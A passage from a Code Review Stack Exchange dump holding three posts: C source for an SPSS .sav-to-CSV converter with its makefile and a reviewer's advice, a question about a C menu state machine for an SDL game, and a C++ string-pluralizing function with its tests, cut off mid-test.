readInt32(&quot;Byte Order:&quot;); readOver(4, &quot;Skip:&quot;); readInt32(&quot;Count:&quot;); readOver(4, &quot;Skip:&quot;); break; // SPSS Record Type 7 Subtype 17 - Dataset Attributes case 17: readOver(datalen, &quot;Dataset Attributes:&quot;); break; // SPSS Record Type 7 Subtype 18 - Variable Attributes case 18: readOver(datalen, &quot;Variable Attributes:&quot;); break; // SPSS Record Type 7 Subtype 19 - Extended multiple response groups case 19: readOver(datalen, &quot;Extended multiple response groups:&quot;); break; // SPSS Record Type 7 Subtype 20 - Encoding, aka code page case 20: readOver(datalen, &quot;Encoding, aka code page:&quot;); break; // SPSS Record Type 7 Subtype 21 - Extended value labels case 21: readOver(datalen, &quot;Extended value labels:&quot;); break; // SPSS Record Type 7 Subtype 22 - Missing values for long strings case 22: readOver(datalen, &quot;Missing values for long strings:&quot;); break; // SPSS Record Type 7 Subtype 23 - Sort Index information case 23: readOver(datalen, &quot;Sort Index information:&quot;); break; // SPSS Record Type 7 Subtype 24 - XML info case 24: readOver(datalen, &quot;XML info:&quot;); break; // Other info default: readOver(datalen, &quot;Misc info:&quot;); break; } } break; // Finish case RECORD_TYPE_FINAL: stop = true; int test = readInt32(&quot;Test for final rec type:&quot;); if (test != 0) { exitAndCloseFile(&quot;Error reading record type 999: Non-zero value found.&quot;, &quot;&quot;); } break; default: exitAndCloseFile(&quot;Read error: invalid record type [%s]&quot;, intToStr32(recordType)); break; } } if(!silent){ printOut(&quot;\t%s Variables found&quot;, intToStr32(numberOfVariables), &quot;cyan&quot;); } } /** * SPSS Record Type 2 - Variable information * @throws \Exception * @return void */ void readVariable() { int typeCode = readInt32(&quot;---Var Type Code:&quot;); //if numeric, type code here = 0 //if string, type code is length of string. //@4 //if TYPECODE is -1, record is a continuation of a string var if(typeCode == -1) { //read and ignore the next 24 bytes readOver(24, &quot;---String Continuation Var Skip 24:&quot;); //otherwise normal var } else { addVariable(variablesList, typeCode); numberOfVariables++; // read label flag int hasLabel = readInt32(&quot;---Var Has Label:&quot;); //could throw exception here as missing label? //@8 // read missing value format code int missingValueFormatCode = readInt32(&quot;---Missing Format Code:&quot;); if (abs(missingValueFormatCode) &gt; 3) { exitAndCloseFile(&quot;Error reading variable Record: invalid missing value format code [%s]. Range is -3 to 3.&quot;, intToStr32(missingValueFormatCode)); } //@12 // read print format code readInt32(&quot;---Print Format Code:&quot;); //@16 // read write format code readInt32(&quot;---Write Format Code:&quot;); //@20 // read varname readOver(8, &quot;---Var Short Name:&quot;); //@28 // read label length and label only if a label exists if (hasLabel == 1) { int labelLength = readInt32(&quot;---Label Length:&quot;); //@32 //need to ensure we read word-divisable amount of bytes int rem = 4-(labelLength % 4); if(rem == 4){ rem = 0; } readOver(labelLength, &quot;---Label:&quot;); readOver(rem, &quot;---label Skip:&quot;); } // missing values if (missingValueFormatCode != 0) { int i; for (i = 0; i &lt; abs(missingValueFormatCode); ++i) { readInt64(&quot;---Missing Values:&quot;); } } } } /** * SPSS Record Type 3 - Value labels * @return void */ void readValueLabels() { // number of labels int numberOfLabels = readInt32(&quot;+++Number of Labels:&quot;); //@4 // labels int i; for (i = 0; i &lt; numberOfLabels; i++) { // read the label value double labelValue = readDouble(&quot;+++Value:&quot;); //@8 // read the length of a value label // the following byte in an unsigned integer (max value is 60) int8_t labelLength = readIntByte(&quot;+++Label Length:&quot;); int8_t max = 60; if (labelLength &gt; max) { exitAndCloseFile(&quot;The length of a value label(%s) must be less than 60.&quot;, doubleToStr(labelValue)); } //need to ensure we read word-divisable amount of bytes int rem = 8-((labelLength+1) % 8); if(rem == 8){ rem = 0; } readOver(labelLength, &quot;+++Label:&quot;); readOver(rem, &quot;+++Label Skip:&quot;); } // read type 4 record (that must follow type 3!) // record type int recordTypeCode = readInt32(&quot;+++Record Type Code (Should be 4):&quot;); if (recordTypeCode != 4) { exitAndCloseFile(&quot;Error reading Variable Index record: bad record type [%s]. Expecting Record Type 4.&quot;, intToStr32(recordTypeCode)); } // number of variables to add to? int numVars = readInt32(&quot;+++Number of Variables:&quot;); // variableRecord indexes int j; for (j = 0; j &lt; numVars; j++) { readInt32(&quot;+++Var Index:&quot;); } } /** * Convert data to long format csv's * @return void */ void dataToCsvLong(){ int fileNumber = 1; int caseid = 1; int rowCount = 1; int cluster[8] = {0,0,0,0,0,0,0,0}; int clusterIndex = 8; int totalRows = numberOfVariables * numberOfCases; int filesAmount; if(totalRows &gt; lineLimit){ filesAmount = (totalRows / lineLimit) + 1; } else { filesAmount = 1; } FILE * csvs[filesAmount]; char filename[100] = &quot;&quot;; //first filename strcat(filename, csv); strcat(filename, intToStr32(fileNumber)); strcat(filename, &quot;.csv&quot;); //first file csvs[0] = fopen(filename, &quot;w&quot;); //can we open and edit? if (csvs[0] == NULL) { exitAndCloseFile(&quot;Unable to open file (permission denied, try sudo): %s&quot;, filename); } if(!silent){ printOut(&quot;Building Long CSV:&quot;, &quot;&quot;, &quot;cyan&quot;); printOut(&quot;\t%s&quot;, filename, &quot;cyan&quot;); } int i; for(i = 1; i &lt;= numberOfCases; i++){ //loop through vars, skipping head of list //variable_t * current = variablesList; //current = current-&gt;next; int variableId = 1; int j; for(j = 0; j &lt; numberOfVariables; j++){ //current-&gt;type double numData; bool insertNull = false; if(compressionSwitch &gt; 0){ if(clusterIndex &gt; 7){ cluster[0] = readIntByteNoOutput(); cluster[1] = readIntByteNoOutput(); cluster[2] = readIntByteNoOutput(); cluster[3] = readIntByteNoOutput(); cluster[4] = readIntByteNoOutput(); cluster[5] = readIntByteNoOutput(); cluster[6] = readIntByteNoOutput(); cluster[7] = readIntByteNoOutput(); clusterIndex = 0; } // convert byte to an unsigned byte in an int int byteValue = (0x000000FF &amp; (int)cluster[clusterIndex]); clusterIndex++; switch (byteValue) { // skip this code case COMPRESS_SKIP_CODE: break; // end of file, no more data to follow. This should not happen. case COMPRESS_END_OF_FILE: exitAndCloseFile(&quot;Error reading data: unexpected end of compressed data file (cluster code 252)&quot;, &quot;&quot;); break; // data cannot be compressed, the value follows the cluster case COMPRESS_NOT_COMPRESSED: numData = readDoubleNoOuput(); break; // all blanks case COMPRESS_ALL_BLANKS: numData = 0; break; // system missing value case COMPRESS_MISSING_VALUE: //used to be 'NULL' but LOAD DATA INFILE requires \N instead, otherwise a '0' get's inserted instead insertNull = true; break; // 1-251 value is code minus the compression BIAS (normally always equal to 100) default: numData = byteValue - compressionBias; break; } } else { numData = readDoubleNoOuput(); } //write to file if(includeRowIndex){ fprintf(csvs[fileNumber-1],&quot;%d,&quot;,rowCount); } if(insertNull){ fprintf(csvs[fileNumber-1],&quot;%d,%d,\\N\n&quot;, caseid, variableId); } else if (dubIsInt(numData)) { fprintf(csvs[fileNumber-1],&quot;%d,%d,%d\n&quot;, caseid, variableId, (int)numData); } else { fprintf(csvs[fileNumber-1],&quot;%d,%d,%f\n&quot;, caseid, variableId, numData); } //switch to new file if(rowCount % lineLimit == 0){ //close current file fclose(csvs[fileNumber-1]); //make and open new file fileNumber++; char filenameHere[100] = &quot;&quot;; strcat(filenameHere, csv); strcat(filenameHere, intToStr32(fileNumber)); strcat(filenameHere, &quot;.csv&quot;); csvs[fileNumber-1] = fopen(filenameHere,&quot;w&quot;); if (csvs[fileNumber-1] == NULL) { exitAndCloseFile(&quot;Unable to open file (permission denied, try sudo): %s&quot;, filenameHere); } if(!silent){ printOut(&quot;Building Long CSV:&quot;, &quot;&quot;, &quot;cyan&quot;); printOut(&quot;\t%s&quot;, filenameHere, &quot;cyan&quot;); } } //current = current-&gt;next; variableId++; rowCount++; } caseid++; } if(!silent){ printOut(&quot;Wrote %s rows.&quot;, intToStr32(totalRows), &quot;green&quot;); printOut(&quot;Wrote %s files.&quot;, intToStr32(filesAmount), &quot;green&quot;); } //close current file fclose(csvs[fileNumber-1]); } /** * Convert data to flat format csv's * @return void */ void dataToCsvFlat(){ int fileNumber = 1; int cluster[8] = {0,0,0,0,0,0,0,0}; int clusterIndex = 8; int filesAmount; if(numberOfCases &gt; lineLimit){ filesAmount = (numberOfCases / lineLimit) + 1; } else { filesAmount = 1; } FILE * csvs[filesAmount]; char filename[100] = &quot;&quot;; //first filename strcat(filename, csv); strcat(filename, intToStr32(fileNumber)); strcat(filename, &quot;.csv&quot;); //first file csvs[0] = fopen(filename, &quot;w&quot;); //try to open if (csvs[0] == NULL) { exitAndCloseFile(&quot;Unable to open file (permission denied, try sudo): %s&quot;, filename); } if(!silent){ printOut(&quot;Building Flat CSV:&quot;, &quot;&quot;, &quot;cyan&quot;); printOut(&quot;\t%s&quot;, filename, &quot;cyan&quot;); } int i; for(i = 1; i &lt;= numberOfCases; i++){ //loop through vars, skipping head of list //variable_t * current = variablesList; //current = current-&gt;next; if(includeRowIndex){ fprintf(csvs[fileNumber-1],&quot;%d,&quot;, i); } int j; for(j = 0; j &lt; numberOfVariables; j++){ //current-&gt;type double numData; bool insertNull = false; if(compressionSwitch &gt; 0){ if(clusterIndex &gt; 7){ cluster[0] = readIntByteNoOutput(); cluster[1] = readIntByteNoOutput(); cluster[2] = readIntByteNoOutput(); cluster[3] = readIntByteNoOutput(); cluster[4] = readIntByteNoOutput(); cluster[5] = readIntByteNoOutput(); cluster[6] = readIntByteNoOutput(); cluster[7] = readIntByteNoOutput(); clusterIndex = 0; } // convert byte to an unsigned byte in an int int byteValue = (0x000000FF &amp; (int)cluster[clusterIndex]); clusterIndex++; switch (byteValue) { // skip this code case COMPRESS_SKIP_CODE: break; // end of file, no more data to follow. This should not happen. case COMPRESS_END_OF_FILE: exitAndCloseFile(&quot;Error reading data: unexpected end of compressed data file (cluster code 252)&quot;, &quot;&quot;); break; // data cannot be compressed, the value follows the cluster case COMPRESS_NOT_COMPRESSED: numData = readDoubleNoOuput(); break; // all blanks case COMPRESS_ALL_BLANKS: numData = 0; break; // system missing value case COMPRESS_MISSING_VALUE: //used to be 'NULL' but LOAD DATA INFILE requires \N instead, otherwise a '0' get's inserted instead insertNull = true; break; // 1-251 value is code minus the compression BIAS (normally always equal to 100) default: numData = byteValue - compressionBias; break; } } else { numData = readDoubleNoOuput(); } //write to file if(j &gt; 0){ fprintf(csvs[fileNumber-1],&quot;,&quot;); } if(insertNull){ fprintf(csvs[fileNumber-1],&quot;\\N&quot;); } else if (dubIsInt(numData)) { fprintf(csvs[fileNumber-1],&quot;%d&quot;,(int)numData); } else { fprintf(csvs[fileNumber-1],&quot;%f&quot;,numData); } } //newline fprintf(csvs[fileNumber-1],&quot;\n&quot;); //switch to new file if(i % lineLimit == 0){ //close current file fclose(csvs[fileNumber-1]); //make and open new file fileNumber++; char filenameHere[100] = &quot;&quot;; strcat(filenameHere, csv); strcat(filenameHere, intToStr32(fileNumber)); strcat(filenameHere, &quot;.csv&quot;); csvs[fileNumber-1] = fopen(filenameHere,&quot;w&quot;); if (csvs[fileNumber-1] == NULL) { exitAndCloseFile(&quot;Unable to open file (permission denied, try sudo): %s&quot;, filenameHere); } if(!silent){ printOut(&quot;Building Flat CSV:&quot;, &quot;&quot;, &quot;cyan&quot;); printOut(&quot;\t%s&quot;, filenameHere, &quot;cyan&quot;); } } } if(!silent){ printOut(&quot;Wrote %s rows.&quot;, intToStr32(numberOfCases), &quot;green&quot;); printOut(&quot;Wrote %s files.&quot;, intToStr32(filesAmount), &quot;green&quot;); } //close current file fclose(csvs[fileNumber-1]); } /** * Read a number of bytes and print but not store in memory * @param int amt Amount of bytes * @param char *msg Message to prepend to debug output * @return void */ void readOver(int amt, char *msg){ //only initialise with blank data if debug, otherwise doesn't matter. if(debug){ //read amounts into temp var char temp[amt+1]; int i; for(i = 0; i &lt; amt; i++){ temp[i] = ' '; } temp[amt] = '\0'; fread(&amp;temp, amt, 1, savPtr); if(!silent){ printOut(msg, &quot;&quot;, &quot;yellow&quot;); printOut(&quot;\t%s&quot;, temp, &quot;magenta&quot;); printf(&quot;\t&lt;%d bytes read, %d bytes total&gt;\n\n&quot;, amt, cursor); } } else { fseek(savPtr, amt, SEEK_CUR); } cursor += amt; } /** * Read 4 bytes as a string * @param char *msg Message to prepend to debug output * @return void */ void readWord(char *msg){ //read into mem loc of word buffer. Word buffer always 4 in length, so no need to clear fread(&amp;wordBuffer, 4, 1, savPtr); cursor += 4; //output for debug info if(debug &amp;&amp; !silent){ printOut(msg, &quot;&quot;, &quot;yellow&quot;); printOut(&quot;\t%s&quot;, wordBuffer, &quot;magenta&quot;); printf(&quot;\t&lt;4 bytes read, %d bytes total&gt;\n\n&quot;, cursor); } } /** * Read 1 byte as an int * @param char *msg Message to prepend to debug output * @return void */ int readIntByte(char *msg){ //read 4 bytes into memory location of int32buffer fread(&amp;intByteBuffer, 1, 1, savPtr); cursor += 1; //output for debug info if(debug &amp;&amp; !silent){ printOut(msg, &quot;&quot;, &quot;yellow&quot;); printf(&quot;\t%d\n&quot;, intByteBuffer); printf(&quot;\t&lt;1 byte read, %d bytes total&gt;\n\n&quot;, cursor); } return intByteBuffer; } /** * Read 1 byte as an int * @return void */ int readIntByteNoOutput(){ //read 4 bytes into memory location of int32buffer fread(&amp;intByteBuffer, 1, 1, savPtr); cursor += 1; return intByteBuffer; } /** * Read 4 bytes as an int * @param char *msg Message to prepend to debug output * @return void */ int readInt32(char *msg){ //read 4 bytes into memory location of int32buffer fread(&amp;int32Buffer, 4, 1, savPtr); cursor += 4; //if file been stored on a big endian system (as found in header), swap bytes for 32 bits (4 bytes) in the buffer if(bigEndian){ bswap_32(int32Buffer); } //output for debug info if(debug &amp;&amp; !silent){ printOut(msg, &quot;&quot;, &quot;yellow&quot;); printOut(&quot;\t%s&quot;, intToStr32(int32Buffer), &quot;magenta&quot;); printf(&quot;\t&lt;4 bytes read, %d bytes total&gt;\n\n&quot;, cursor); } return int32Buffer; } /** * Read 8 bytes as a double * @param char *msg Message to prepend to debug output * @return void */ void readInt64(char *msg){ fread(&amp;int64Buffer, 8, 1, savPtr); cursor += 8; //if file been stored on a big endian system (as found in header), swap bytes for 64 bits (8 bytes) in the buffer if(bigEndian){ bswap_64(int64Buffer); } if(debug &amp;&amp; !silent){ printOut(msg, &quot;&quot;, &quot;yellow&quot;); printOut(&quot;\t%s&quot;, intToStr64(int64Buffer), &quot;magenta&quot;); printf(&quot;\t&lt;8 bytes read, %d bytes total&gt;\n\n&quot;, cursor); } } /** * Read 8 bytes as a double * @param char *msg Message to prepend to debug output * @return void */ double readDouble(char *msg){ fread(&amp;flt64Buffer, 8, 1, savPtr); cursor += 8; //if file been stored on a big endian system (as found in header), swap bytes for 64 bits (8 bytes) in the buffer if(bigEndian){ bswap_64(flt64Buffer); } if(debug &amp;&amp; !silent){ printOut(msg, &quot;&quot;, &quot;yellow&quot;); printOut(&quot;\t%s&quot;, doubleToStr(flt64Buffer), &quot;magenta&quot;); printf(&quot;\t&lt;8 bytes read, %d bytes total&gt;\n\n&quot;, cursor); } return flt64Buffer; } /** * Read 8 bytes as a double * @return void */ double readDoubleNoOuput(){ fread(&amp;flt64Buffer, 8, 1, savPtr); cursor += 8; //if file been stored on a big endian system (as found in header), swap bytes for 64 bits (8 bytes) in the buffer if(bigEndian){ bswap_64(flt64Buffer); } return flt64Buffer; } </code></pre> <h3>savtocsv.c</h3> <pre><code>#include &quot;savtocsvlib.h&quot; void parseOpts(int argc, char *argv[]); int main(int argc, char *argv[]){ //main parse of options before opening / reading file parseOpts(argc, argv); //open the file or exit convertToCSV(sav); printf(&quot;\n&quot;); return 0; } /** * Print out based on silent switch * @param int argc Count of arguments * @param argv *argv Array of pointers of arguments * @return void */ void parseOpts(int argc, char *argv[]){ int opt; // If the first character of optstring is '-', then each nonoption argv-element is handled as if // it were the argument of an option with character code 1. (This is used by programs that were written to expect options and other argv-elements in any order and that care about the ordering of the two.) if(argc == 2){ //check for version output or help while ((opt = getopt(argc, argv, &quot;-vh&quot;)) != -1) { if(opt == 'v'){ printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;savtocsv &quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;version &quot;); printf(&quot;%s&quot;, ANSI_COLOR_YELLOW); printf(&quot;version 1.5.6 &quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;2021-03-22\n&quot;); exit(0); } else if(opt == 'h'){ printOut(&quot;\n----------SAV To CSV Help----------\n&quot;, &quot;&quot;, &quot;green&quot;); printf(&quot;%s&quot;, ANSI_COLOR_YELLOW); printf(&quot;Usage:\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printOut(&quot;\tcommand [options] [arguments]\n&quot;, &quot;&quot;, &quot;magenta&quot;); printf(&quot;%s&quot;, ANSI_COLOR_YELLOW); printf(&quot;Options:\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-f\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tSet the input .sav filename (eg file.sav)\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-o\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tSet the output csv prefix (appended by x.csv where x is filenumber determined by Line Limit) &quot;); printf(&quot;%s&quot;, ANSI_COLOR_YELLOW); printf(&quot;[default: out]\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-l\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tSet Line Limit per csv file. &quot;); printf(&quot;%s&quot;, ANSI_COLOR_YELLOW); printf(&quot;[default: 1000000]\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-s\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tSet silent mode for no output.\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-d\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tSet debug mode for additional output. Will not output if Silent mode on.\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-F\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tSet csv output format to flat instead of long.\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-R\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tSet csv output to include row index.\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-v\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tOutput version. Must be sole option.\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;%s&quot;, ANSI_COLOR_GREEN); printf(&quot;\t-h\t&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\tOutput help. Must be sole option.\n&quot;); printf(&quot;%s&quot;, ANSI_COLOR_RESET); printf(&quot;\n&quot;); exit(0); } } } //reset getopt index for next while loop optind = 1; //check for silent first while ((opt = getopt(argc, argv, &quot;-sfoldFR&quot;)) != -1) { if(opt == 's'){ silent = true; } } //reset getopt index for next while loop optind = 1; //ullo printOut(&quot;\n----------SAV To CSV----------&quot;, &quot;&quot;, &quot;green&quot;); //if it's not -v or -h then is the num of args correct? if(argc &lt;= 2){ printOutErr(&quot;Missing required options.&quot;, &quot;&quot;); printOutErr(&quot;Usage: savtocsv [-v] | [-f] [file...] [-o] [file...] [-l] [int] [-sdFR]&quot;, &quot;&quot;); exit(EXIT_FAILURE); } //go through normal options while ((opt = getopt(argc, argv, &quot;-f:o:l:svdFR&quot;)) != -1) { switch (opt) { //get file pointer case 'f': sav = optarg; printOut(&quot;Input file set: \n\t%s&quot;, optarg, &quot;magenta&quot;); break; //get output filename case 'o': csv = optarg; break; //silent switch for stdout case 's': silent = true; break; //debug switch for stdout case 'd': debug = true; break; //csv file format case 'F': longCsv = false; break; //output row index for each row case 'R': includeRowIndex = true; break; //how pany lines per csv? case 'l': lineLimit = atoi(optarg); if(lineLimit == 0){ printOutErr(&quot;-l argument must be number&quot;, optarg); exit(EXIT_FAILURE); } else { printOut(&quot;CSV Line Length set to: \n\t%s&quot;, optarg, &quot;magenta&quot;); } break; //option not in optstring case '?': printOutErr(&quot;Option not in option list of -f -o -l&quot;, &quot;&quot;); exit(EXIT_FAILURE); break; } } //check sav file option if(sav == NULL){ printOutErr(&quot;Missing required option -f&quot;, &quot;&quot;); exit(EXIT_FAILURE); } //output csv prefix if(strcmp(csv, &quot;out&quot;) == 0){ printOut(&quot;Output file prefix default: \n\tout&quot;, &quot;&quot;, &quot;yellow&quot;); } else { printOut(&quot;Output file prefix set: \n\t%s&quot;, csv, &quot;magenta&quot;); } //check line limit or set default if(lineLimit == 0){ lineLimit = 1000000; char *lltxt = &quot;1000000&quot;; printOut(&quot;CSV Line Length default: \n\t%s&quot;, lltxt, &quot;yellow&quot;); } //flat file or long file if(longCsv){ printOut(&quot;CSV file format default: \n\tLong.&quot;, &quot;&quot;, &quot;yellow&quot;); } else { printOut(&quot;CSV file format set: \n\tFlat&quot;, &quot;&quot;, &quot;magenta&quot;); } //flat file or long file if(!includeRowIndex){ printOut(&quot;CSV include row index default: \n\tFALSE.&quot;, &quot;&quot;, &quot;yellow&quot;); } else { printOut(&quot;CSV include row index set: \n\tTRUE&quot;, &quot;&quot;, &quot;magenta&quot;); } } </code></pre> <h3>makefile</h3> <pre><code>savtocsv: savtocsv.o savtocsvlib.o savtocsvcommon.o gcc -o savtocsv savtocsv.o savtocsvlib.o savtocsvcommon.o -O3 -std=gnu90; -rm *.o $(objects) savtocsv.o: savtocsv.c savtocsvlib.h gcc -c -g savtocsv.c -std=gnu90; savtocsvlib.o: savtocsvlib.c savtocsvlib.h gcc -c -g savtocsvlib.c -std=gnu90; savtocsvcommon.o: savtocsvcommon.c savtocsvcommon.h gcc -c -g savtocsvcommon.c -std=gnu90; </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T19:37:06.317", "Id": "508696", "Score": "0", "body": "Thanks @Sam Onela" } ]
[ { "body": "<p>compile with warnings enabled. Then fix those warnings.</p>\n<pre><code>gcc -c -Wall -Wextra -Wconversion -pedantic -std=gnu90\n</code></pre>\n<p>several header files are being included but their contents are not being used. This is a very bad programming practice.</p>\n<p>The makefile needs a <code>.clean</code> label+commands for elimination of produced/reproducable files</p>\n<p>The makefile needs a .ALL label as that is customary for ease of use of the makefile</p>\n<p>The posted code discusses a <code>library</code> but the makefile never produces that library and the 'link' statements never make use of that library</p>\n<p>the code that is outputting the color commands would be well served to have an <code>num</code> of the colors and use a switch() statement rather than all those <code>if/else</code> statements</p>\n<p>the production of the linked list does not properly handle the event when the first 'node' is inserted</p>\n<p>The <code>typedef</code> for the data to be output to the file contains a pointer. This will not work correctly when reading back the produced file. Rather, the data needs to be 'serialized' when writing to the file</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T11:19:12.113", "Id": "508726", "Score": "0", "body": "Smashing, thank you anon." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T07:27:34.460", "Id": "257558", "ParentId": "257534", "Score": "0" } } ]
{ "AcceptedAnswerId": "257558", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T16:54:48.267", "Id": "257534", "Score": "1", "Tags": [ "beginner", "c", "csv", "converting" ], "Title": "convert .sav SPSS files into long or flat format CSVs" }
257534
<p>I want to create a state machine for menu in my SDL game. So this is my code without the SDL. I just want to ask if this is a good way to create it. I am trying to implement a screen and then mouse events, but I have a problem there so this is a reason why I ask if this is okay. Here is a code:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;windows.h&gt; enum states { Menu, Game, Game_over, Exit }; int main() { int game_is_running = 1; enum states state = Menu; while(game_is_running == 1) { switch(state) { case Menu: state = Game; printf(&quot;menu screen with play and exit button.\n&quot;); //need to add if //exit or play is pressed // if exit then exit program if play than you know... break; case Game: state = Game_over; printf(&quot;after play button is pressed game screen will show up.\n&quot;); //after this i will come back to menu. break; case Game_over: state = Exit; printf(&quot;screen after game.\n&quot;); break; case Exit: printf(&quot;turn game off.\n&quot;); //this will be in the if function with a game. game_is_running = 0; break; } Sleep(1000); // sleep for a second just for test } return 0; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T19:21:40.147", "Id": "508695", "Score": "3", "body": "Is that really how your code is formatted?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T21:17:37.047", "Id": "508704", "Score": "0", "body": "it's not the exact same but its a first thing what i post here. In the meantime i put switch state in a void and in the main function i just put a name of void function" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T21:32:40.800", "Id": "508706", "Score": "1", "body": "Code Review is for reviews of complete code that is working as intended. If you want to have an opinion on how to best structure your game code, try asking at the [Software Engineering](https://softwareengineering.stackexchange.com/) or the [Game Development](https://gamedev.stackexchange.com/) sites." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T21:34:47.717", "Id": "508708", "Score": "0", "body": "Okey, i'll try thanks." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T17:23:10.257", "Id": "257536", "Score": "1", "Tags": [ "c", "state-machine", "sdl2" ], "Title": "State machine in C for SDL game" }
257536
<p>I find that a common pattern when outputting a message is the need to pluralize a word. For example, if I need to output a count of files found I would need to write something like</p> <pre><code>std::cout &lt;&lt; &quot;Found &quot; &lt;&lt; count &lt;&lt; &quot; &quot; &lt;&lt; (count == 1 ? &quot;file&quot; : &quot;files&quot;); </code></pre> <p>in order to use the correct singular or plural form of &quot;file&quot; without resorting to a generic use of the string <code>&quot;file(s)&quot;</code> for any value of <code>count</code>.</p> <p>To cut down a bit on the verbosity of this code (and to practice writing string-manipulation code) I developed a function which pluralizes the singular form of a word (string) if it is attached to a number not equal to 1 (one would use the plural form if the number is 0 -- as in &quot;0 files&quot; or even if it is not an integer -- as in &quot;0.2 things&quot;). Since some words have unusual pluralization rules the function accepts additional arguments for the plural form's suffix as well as any part of the singular form which is removed -- these additional arguments have default values which correspond to the usual pluralization rule to simply add an &quot;s&quot; to the singular form.</p> <p>Here is the function along with its documentation, and a small example program to run it:</p> <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; /** \brief Pluralizes a string if the given quantity is not equal to exactly 1. \tparam number an arithmetic type \param[in] n the quantity of the string to possibly pluralize. The singular form is used if the quantity is equal to exactly 1, otherwise the plural form is used. The plural form is used if the quantity is a decimal that is not equal to 1 (e.g. 1.1), 0, negative (including -1), etc. \param[in] singular the singular form of the string. \param[in] plural_suffix the suffix string which is appended to the root of the plural form. \param[in] replaced_root the characters at the end of the singular form which are removed/replaced to form the root of the plural form. \return `singular` if `n == 1`, otherwise `replaced_root` is removed from the end of the `singular` and `plural_suffix` is appended to that. For example: \li `pluralize(1, &quot;test&quot;)` returns `&quot;test&quot;` \li `pluralize(2, &quot;test&quot;)` returns `&quot;tests&quot;` \li `pluralize(2, &quot;ox&quot;, &quot;en&quot;)` returns `&quot;oxen&quot;` \li `pluralize(2, &quot;story&quot;, &quot;ies&quot;, &quot;y&quot;)` returns `&quot;stories&quot;` \li `pluralize(2, &quot;life&quot;, &quot;ves&quot;, &quot;fe&quot;)` returns `&quot;lives&quot;` \li `pluralize(2, &quot;mouse&quot;, &quot;ice&quot;, &quot;ouse&quot;)` returns `&quot;mice&quot;` \li `pluralize(2, &quot;sheep&quot;, &quot;&quot;)` returns `&quot;sheep&quot;` \li `pluralize(2, &quot;he&quot;, &quot;they&quot;, &quot;he&quot;)` returns `&quot;they&quot;` */ template&lt;typename number&gt; std::string pluralize(number n, const std::string&amp; singular, const std::string&amp; plural_suffix = &quot;s&quot;, const std::string&amp; replaced_root = &quot;&quot;) { using namespace std::string_literals; if (n == number{1}) return singular; auto plural_root = &quot;&quot;s; const auto singular_size = singular.size(); const auto replaced_root_size = replaced_root.size(); // If replaced_root is an empty string then the singular form is the same as the plural root // replaced_root_size &gt; singular_size should never be true, but fall back on singular as the plural root if (replaced_root_size == 0 || replaced_root_size &gt; singular_size) { plural_root = singular; } else { // Index of the first character of the root replacement section // Cannot be less than 0 because singular.size() &gt;= replaced_root.size() // Cannot be greater than singular.size() -- i.e. past singular.end() -- because replaced_root.size() &gt;= 0 const auto index = singular_size - replaced_root_size; // Iterators of interest const auto singular_begin = singular.begin(); const auto iter = singular_begin + index; // The last replaced_root.size() characters of singular must match replaced_root // If there is no match just use the singular form as the plural root if (std::string{iter, singular.end()} == replaced_root) { plural_root = {singular_begin, iter}; } else { plural_root = singular; } } return plural_root + plural_suffix; } int main() { int count = 2; std::cout &lt;&lt; &quot;Found &quot; &lt;&lt; count &lt;&lt; &quot; &quot; &lt;&lt; pluralize(count, &quot;file&quot;); } </code></pre> <p>I've also tested it using the following Google Test code, which passes all test cases:</p> <pre><code>TEST(Strings, Pluralize) { EXPECT_EQ(pluralize(1, &quot;test&quot;s), &quot;test&quot;s); EXPECT_EQ(pluralize(2, &quot;test&quot;s), &quot;tests&quot;s); EXPECT_EQ(pluralize(0, &quot;ox&quot;s, &quot;en&quot;s), 